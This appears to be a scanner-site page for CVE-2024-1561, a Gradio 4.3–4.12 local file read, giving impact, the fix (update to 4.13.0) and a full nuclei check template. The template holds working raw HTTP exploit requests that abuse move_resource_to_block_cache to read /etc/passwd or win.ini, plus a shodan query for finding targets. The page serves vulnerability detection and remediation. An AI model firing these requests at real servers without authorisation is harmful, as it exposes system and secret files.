Gradio 4.3-4.12 - Local File Read

highseverity

7.5CVSS score

9.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Local file read by calling arbitrary methods of Components class between Gradio versions 4.3-4.12

Impact

Successful exploitation of this vulnerability could allow an attacker to read files on the server

Fix

Update to Gradio 4.13.0

How to confirm it

Send: POST /component_server ; GET /file={{download_path}}
Positive when: matches /root:.*:0:0:/ AND contains in content_type "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2024-1561 -u <target>

The full check

id: CVE-2024-1561

info:
  name: Gradio 4.3-4.12 - Local File Read
  author: nvn1729,Diablo
  severity: high
  description: |
    Local file read by calling arbitrary methods of Components class between Gradio versions 4.3-4.12
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read files on the server
  remediation: |
    Update to Gradio 4.13.0
  reference:
    - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
    - https://github.com/DiabloHTB/CVE-2024-1561
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1561
    - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
    - https://www.gradio.app/changelog#4-13-0
    - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-1561
    cwe-id: CWE-29
    epss-score: 0.09314
    epss-percentile: 0.95416
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"__gradio_mode__"
    product: gradio
    vendor: gradio_project
  tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr,vkev,vuln

http:
  - raw:
      - |
        POST /component_server HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"component_id": "1", "data": "{{path}}", "fn_name": "move_resource_to_block_cache", "session_hash": "aaaaaaaaaaa"}

      - |
        GET /file={{download_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: download_path
        internal: true
        group: 1
        regex:
          - "\"?([^\"]+)"

    payloads:
      path:
        - c:\\windows\\win.ini
        - /etc/passwd

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from